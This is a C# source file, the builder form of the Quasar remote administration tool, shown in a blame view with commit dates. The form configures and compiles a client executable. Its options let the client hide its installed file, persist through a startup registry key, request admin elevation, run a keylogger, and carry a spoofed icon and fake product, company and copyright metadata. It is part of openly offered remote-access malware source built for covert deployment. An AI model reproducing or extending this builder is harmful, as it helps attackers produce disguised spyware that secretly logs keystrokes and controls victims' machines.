Quasar/Server/Forms/FrmBuilder.cs

354 lines
14 KiB
C#
Raw Normal View History

2015-01-27 14:56:52 -08:00
using System;
2015-04-09 10:24:56 -07:00
using System.IO;
2015-01-27 14:56:52 -08:00
using System.Text.RegularExpressions;
using System.Windows.Forms;
using xServer.Core.Build;
using xServer.Core.Helper;
using xServer.Settings;
namespace xServer.Forms
{
public partial class FrmBuilder : Form
{
private bool _profileLoaded;
2015-04-10 12:27:33 -07:00
private bool _changed;
2015-01-27 14:56:52 -08:00
public FrmBuilder()
{
InitializeComponent();
}
2015-04-10 12:27:33 -07:00
private void HasChanged()
{
if (!_changed && _profileLoaded)
2015-05-26 07:14:03 -07:00
_changed = true;
2015-04-10 12:27:33 -07:00
}
2015-05-23 21:27:29 -07:00
private void UpdateControlStates()
{
txtInstallname.Enabled = chkInstall.Checked;
rbAppdata.Enabled = chkInstall.Checked;
rbProgramFiles.Enabled = chkInstall.Checked;
rbSystem.Enabled = chkInstall.Checked;
txtInstallsub.Enabled = chkInstall.Checked;
chkHide.Enabled = chkInstall.Checked;
chkStartup.Enabled = chkInstall.Checked;
txtRegistryKeyName.Enabled = (chkInstall.Checked && chkStartup.Checked);
2015-04-10 12:27:33 -07:00
}
2015-01-27 14:56:52 -08:00
private void LoadProfile(string profilename)
{
ProfileManager pm = new ProfileManager(profilename + ".xml");
txtHost.Text = pm.ReadValue("Hostname");
txtPort.Text = pm.ReadValue("ListenPort");
txtPassword.Text = pm.ReadValue("Password");
txtDelay.Text = pm.ReadValue("Delay");
txtMutex.Text = pm.ReadValue("Mutex");
2015-05-26 07:14:03 -07:00
chkInstall.Checked = bool.Parse(pm.ReadValueSafe("InstallClient", "False"));
2015-01-27 14:56:52 -08:00
txtInstallname.Text = pm.ReadValue("InstallName");
GetInstallPath(int.Parse(pm.ReadValue("InstallPath"))).Checked = true;
txtInstallsub.Text = pm.ReadValue("InstallSub");
2015-05-26 07:14:03 -07:00
chkHide.Checked = bool.Parse(pm.ReadValueSafe("HideFile", "False"));
chkStartup.Checked = bool.Parse(pm.ReadValueSafe("AddStartup", "False"));
2015-01-27 14:56:52 -08:00
txtRegistryKeyName.Text = pm.ReadValue("RegistryName");
2015-05-26 07:14:03 -07:00
chkElevation.Checked = bool.Parse(pm.ReadValueSafe("AdminElevation", "False"));
chkIconChange.Checked = bool.Parse(pm.ReadValueSafe("ChangeIcon", "False"));
chkChangeAsmInfo.Checked = bool.Parse(pm.ReadValueSafe("ChangeAsmInfo", "False"));
chkKeylogger.Checked = bool.Parse(pm.ReadValueSafe("Keylogger", "False"));
2015-01-27 14:56:52 -08:00
txtProductName.Text = pm.ReadValue("ProductName");
txtDescription.Text = pm.ReadValue("Description");
txtCompanyName.Text = pm.ReadValue("CompanyName");
txtCopyright.Text = pm.ReadValue("Copyright");
txtTrademarks.Text = pm.ReadValue("Trademarks");
txtOriginalFilename.Text = pm.ReadValue("OriginalFilename");
txtProductVersion.Text = pm.ReadValue("ProductVersion");
txtFileVersion.Text = pm.ReadValue("FileVersion");
_profileLoaded = true;
2015-01-27 14:56:52 -08:00
}
private void SaveProfile(string profilename)
{
ProfileManager pm = new ProfileManager(profilename + ".xml");
pm.WriteValue("Hostname", txtHost.Text);
pm.WriteValue("ListenPort", txtPort.Text);
pm.WriteValue("Password", txtPassword.Text);
pm.WriteValue("Delay", txtDelay.Text);
pm.WriteValue("Mutex", txtMutex.Text);
pm.WriteValue("InstallClient", chkInstall.Checked.ToString());
pm.WriteValue("InstallName", txtInstallname.Text);
pm.WriteValue("InstallPath", GetInstallPath().ToString());
pm.WriteValue("InstallSub", txtInstallsub.Text);
pm.WriteValue("HideFile", chkHide.Checked.ToString());
pm.WriteValue("AddStartup", chkStartup.Checked.ToString());
pm.WriteValue("RegistryName", txtRegistryKeyName.Text);
pm.WriteValue("AdminElevation", chkElevation.Checked.ToString());
pm.WriteValue("ChangeIcon", chkIconChange.Checked.ToString());
pm.WriteValue("ChangeAsmInfo", chkChangeAsmInfo.Checked.ToString());
pm.WriteValue("Keylogger", chkKeylogger.Checked.ToString());
2015-01-27 14:56:52 -08:00
pm.WriteValue("ProductName", txtProductName.Text);
pm.WriteValue("Description", txtDescription.Text);
pm.WriteValue("CompanyName", txtCompanyName.Text);
pm.WriteValue("Copyright", txtCopyright.Text);
pm.WriteValue("Trademarks", txtTrademarks.Text);
pm.WriteValue("OriginalFilename", txtOriginalFilename.Text);
pm.WriteValue("ProductVersion", txtProductVersion.Text);
pm.WriteValue("FileVersion", txtFileVersion.Text);
}
private void FrmBuilder_Load(object sender, EventArgs e)
{
LoadProfile("Default");
if (string.IsNullOrEmpty(txtMutex.Text))
{
txtPort.Text = XMLSettings.ListenPort.ToString();
txtPassword.Text = XMLSettings.Password;
txtMutex.Text = Helper.GetRandomName(32);
}
2015-05-23 21:27:29 -07:00
UpdateControlStates();
2015-01-27 14:56:52 -08:00
txtRegistryKeyName.Enabled = (chkInstall.Checked && chkStartup.Checked);
ToggleAsmInfoControls();
}
private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e)
{
if (_changed &&
MessageBox.Show("Do you want to save your current settings?", "Save your settings?",
MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
2015-01-27 14:56:52 -08:00
{
SaveProfile("Default");
}
}
private void chkShowPass_CheckedChanged(object sender, EventArgs e)
{
txtPassword.PasswordChar = (chkShowPass.Checked) ? '\0' : '•';
}
private void txtPort_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar));
2015-01-27 14:56:52 -08:00
}
private void txtDelay_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar));
2015-01-27 14:56:52 -08:00
}
private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = ((e.KeyChar == '\\' || Helper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
2015-01-27 14:56:52 -08:00
}
private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = ((e.KeyChar == '\\' || Helper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
2015-01-27 14:56:52 -08:00
}
private void btnMutex_Click(object sender, EventArgs e)
{
2015-04-10 12:27:33 -07:00
HasChanged();
2015-01-27 14:56:52 -08:00
txtMutex.Text = Helper.GetRandomName(32);
}
private void chkInstall_CheckedChanged(object sender, EventArgs e)
{
2015-04-10 12:27:33 -07:00
HasChanged();
2015-05-23 21:27:29 -07:00
UpdateControlStates();
2015-01-27 14:56:52 -08:00
}
private void chkStartup_CheckedChanged(object sender, EventArgs e)
{
2015-04-10 12:27:33 -07:00
HasChanged();
2015-01-27 14:56:52 -08:00
txtRegistryKeyName.Enabled = chkStartup.Checked;
}
private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e)
{
2015-04-10 12:27:33 -07:00
HasChanged();
2015-01-27 14:56:52 -08:00
ToggleAsmInfoControls();
}
private void RefreshExamplePath()
{
string path = string.Empty;
if (rbAppdata.Checked)
path =
Path.Combine(
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
txtInstallsub.Text), txtInstallname.Text);
2015-01-27 14:56:52 -08:00
else if (rbProgramFiles.Checked)
path =
Path.Combine(
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles),
txtInstallsub.Text), txtInstallname.Text);
2015-01-27 14:56:52 -08:00
else if (rbSystem.Checked)
path =
Path.Combine(
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallsub.Text),
txtInstallname.Text);
2015-01-27 14:56:52 -08:00
this.Invoke((MethodInvoker) delegate { txtExamplePath.Text = path + ".exe"; });
2015-01-27 14:56:52 -08:00
}
private void btnBuild_Click(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(txtHost.Text) && !string.IsNullOrEmpty(txtPort.Text) &&
!string.IsNullOrEmpty(txtDelay.Text) && // Connection Information
!string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // Client Options
!chkInstall.Checked ||
(chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text) &&
!string.IsNullOrEmpty(txtInstallsub.Text)) && // Installation Options
!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text)))
// Persistence and Registry Features
2015-01-27 14:56:52 -08:00
{
string output = string.Empty;
string icon = string.Empty;
if (chkIconChange.Checked)
2015-01-27 14:56:52 -08:00
{
using (OpenFileDialog ofd = new OpenFileDialog())
2015-01-27 14:56:52 -08:00
{
ofd.Filter = "Icons *.ico|*.ico";
ofd.Multiselect = false;
if (ofd.ShowDialog() == DialogResult.OK)
icon = ofd.FileName;
}
}
2015-01-27 14:56:52 -08:00
using (SaveFileDialog sfd = new SaveFileDialog())
{
sfd.Filter = "EXE Files *.exe|*.exe";
2015-05-26 13:02:18 -07:00
sfd.RestoreDirectory = true;
sfd.FileName = "Client-built.exe";
if (sfd.ShowDialog() == DialogResult.OK)
output = sfd.FileName;
}
2015-01-27 14:56:52 -08:00
if (!string.IsNullOrEmpty(output) && (!chkIconChange.Checked || !string.IsNullOrEmpty(icon)))
{
try
{
string[] asmInfo = null;
if (chkChangeAsmInfo.Checked)
2015-01-27 14:56:52 -08:00
{
if (!IsValidVersionNumber(txtProductVersion.Text) ||
!IsValidVersionNumber(txtFileVersion.Text))
2015-01-27 14:56:52 -08:00
{
MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder",
MessageBoxButtons.OK, MessageBoxIcon.Information);
return;
2015-01-27 14:56:52 -08:00
}
2015-04-09 10:24:56 -07:00
asmInfo = new string[8];
asmInfo[0] = txtProductName.Text;
asmInfo[1] = txtDescription.Text;
asmInfo[2] = txtCompanyName.Text;
asmInfo[3] = txtCopyright.Text;
asmInfo[4] = txtTrademarks.Text;
asmInfo[5] = txtOriginalFilename.Text;
asmInfo[6] = txtProductVersion.Text;
asmInfo[7] = txtFileVersion.Text;
2015-01-27 14:56:52 -08:00
}
2015-04-09 10:24:56 -07:00
ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text,
txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked,
chkStartup.Checked, chkHide.Checked, chkKeylogger.Checked, int.Parse(txtPort.Text),
int.Parse(txtDelay.Text),
2015-04-09 10:24:56 -07:00
GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion);
MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK,
MessageBoxIcon.Information);
}
2015-04-09 10:24:56 -07:00
catch (FileLoadException)
{
MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.",
"Error loading Client", MessageBoxButtons.OK, MessageBoxIcon.Error);
2015-04-09 10:24:56 -07:00
}
catch (Exception ex)
{
MessageBox.Show(
string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message,
ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
2015-01-27 14:56:52 -08:00
}
}
}
else
MessageBox.Show("Please fill out all required fields!", "Builder", MessageBoxButtons.OK,
MessageBoxIcon.Information);
2015-01-27 14:56:52 -08:00
}
private int GetInstallPath()
{
if (rbAppdata.Checked) return 1;
if (rbProgramFiles.Checked) return 2;
if (rbSystem.Checked) return 3;
return 1;
}
private RadioButton GetInstallPath(int installPath)
{
switch (installPath)
{
case 1:
return rbAppdata;
case 2:
return rbProgramFiles;
case 3:
return rbSystem;
default:
return rbAppdata;
}
}
private void ToggleAsmInfoControls()
{
this.Invoke((MethodInvoker) delegate
2015-01-27 14:56:52 -08:00
{
foreach (Control ctrl in groupAsmInfo.Controls)
{
if (ctrl is Label)
((Label) ctrl).Enabled = chkChangeAsmInfo.Checked;
2015-01-27 14:56:52 -08:00
else if (ctrl is TextBox)
((TextBox) ctrl).Enabled = chkChangeAsmInfo.Checked;
2015-01-27 14:56:52 -08:00
}
});
}
private bool IsValidVersionNumber(string input)
{
Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase);
return match.Success;
}
2015-04-10 12:27:33 -07:00
/// <summary>
/// Handles a basic change in setting.
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void HasChangedSetting(object sender, EventArgs e)
2015-04-10 12:27:33 -07:00
{
HasChanged();
}
/// <summary>
/// Handles a basic change in setting, also refreshing the example file path.
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void HasChangedSettingAndFilePath(object sender, EventArgs e)
2015-04-10 12:27:33 -07:00
{
HasChanged();
RefreshExamplePath();
}
2015-01-27 14:56:52 -08:00
}
}